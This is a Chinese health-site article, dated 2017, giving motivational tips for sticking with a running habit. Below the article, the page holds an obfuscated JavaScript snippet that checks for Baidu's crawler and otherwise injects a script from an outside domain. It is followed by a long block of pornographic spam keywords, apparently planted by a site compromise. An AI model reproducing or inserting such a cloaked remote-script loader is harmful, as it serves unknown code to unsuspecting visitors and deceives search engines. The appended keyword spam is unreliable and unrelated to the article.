當前位置:首頁 > 健康 > 運動健身 > 正文

怎樣堅持跑步呢

2017-04-16 23:01:48  來源:360常識網   熱度:
導語:跑步是一種特別有好處的有氧運動,我們可以通過跑步讓自己的身體更加的結實,也可以通過跑步讓自己保持身材,可是在進行跑步運動的時候能堅

跑步是一種特別有好處的有氧運動,我們可以通過跑步讓自己的身體更加的結實,也可以通過跑步讓自己保持身材,可是在進行跑步運動的時候能堅持下來的朋友也不多,這也是好多朋友是痛苦的事情,跑步雖然對身體好,可是需要長期的堅持,不能堅持下來是起不到作用的,那么,怎樣堅持跑步?我們來進行一下了解。

1、保持跑步的熱情

人類對于痛楚的本能反應是避免,如果你的手曾被錘子或者釘子砸傷,很快就會調整確保下次不會再誤傷自己。然而,對于跑步或者其他運動,人們對痛楚的反應更加復雜。人們從心里知道,這些不舒服或者“痛楚”,實際上是有好處的,為了達到減肥、跑得很快或更遠的目標,可能必須經歷一定痛苦,這種痛楚不需要看醫生。

2、跑步中自言自語

積極的自我對話是一種有力的激勵辦法,當你跑步的時候,自己在頭腦里跟自己對話。告訴你自己,等你跑完了,就會覺得很舒服,很有滿足感;告訴你通過跑步可以感覺到自己的生命還很年輕鮮活;告訴你享受運動的樂趣,等等。這種自言自語必須向自己傳達積極向上的信息,不要“假如”或者“但是”。

人們通常都習慣被消極情緒左右,因此要做到這個不容易,然而,如果你面對困難感到恐懼,困難就會變得更難,因此,即使消極想法很難根絕,你應該努力擺脫它們,給自己樂觀的鼓勵。實際上,不僅是跑步,人生中面對其他痛苦,也應該采取同樣的態度。

3、事先構思跑步過程

想象你正在跑步,感覺很好很有力量,跑動姿勢完美?;孟肱艿煤苊烂畹母杏X,然后將這一幕轉化為頭腦里的一幅畫面。然后思考你跑步的線路,考慮每一段如何跑。計算一下你跑動的距離,想象一下沿途風景,以及你可能有什么收獲。想象自己是個優秀的跑手,善用體力。

仔細思考自己的跑步模式,例如步幅、呼吸頻率,想象自己控制好呼吸,深呼吸的感覺。最后,想象你跑完了步,感覺多好,多有成就感。你需要想象自己是個跑步選手,記住,你不會輸給任何人,因此應該大膽想象自己的跑步情形。

4、給自己一個目標

如果你有個明確的目標要爭取,跑步會更有動力和更享受。當你實現了一個目標,或者跑完了一定距離,會有自豪感,對很多人來說,這種目標會帶來他們需要的動力。

對于許多人而言,健身是一種確保健康的方式,而不是為了跑得更快更長,因此,你可以把目標設置為心率、肺活量等指標。人只有在不健康的時候才最能了解健康的重要,但到時已經太晚。跑步可以幫助你保持健康、長壽,遠離疾病。

通過上述的介紹,我們現在知道了怎樣堅持跑步,這也是一種在平時的時候堅定信念的方法,平時我們一定要告訴自己不能出現半途而廢的現象,另外也要在跑步當中享受樂趣,享受運動的快感,而且堅定的信心是特別重要的,我們一定要注意。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品无码久久久久YW| 无码精品人妻一区| 亚洲色精品vr一区二区三区| 国产精品一区二区久久精品涩爱| 久久久久人妻一区精品果冻| 国产乱人伦偷精品视频免| 国产精品成人A区在线观看| 国产精品三级av及在线观看| 91自产拍在线观看精品| 国内精品久久久久久久涩爱| 国产精品色午夜视频免费看| 91亚洲精品麻豆| 久久国产精品一区二区| 亚洲精品第一国产综合境外资源 | 日韩精品国产丝袜| 久久丫精品国产亚洲av不卡| 国产一区麻豆剧传媒果冻精品| 精品一区二区久久久久久久网精| 亚洲区精品久久一区二区三区 | 国产精品秦先生手机在线| 亚洲av永久无码精品天堂久久| 国产成人精品一区二区三区无码| 精品亚洲成A人在线观看青青| 精品成人乱色一区二区| 久久99国产精品视频| 99精品无人区乱码1区2区3区| 午夜成人精品福利网站在线观看| 九九99久久精品国产| 久久AV无码精品人妻糸列| 99精品一区二区三区| 久久99精品国产99久久| 久久精品综合一区二区三区| 九色国产在视频线精品视频| 国产愉拍精品手机| 国产精品嫩草视频永久网址| 精品人妻中文字幕有码在线| 久久精品视频免费播放| 日韩精品一区二区三区四区| 中国精品一级毛片免费播放| 九九热这里只有国产精品| 国产AV国片精品一区二区|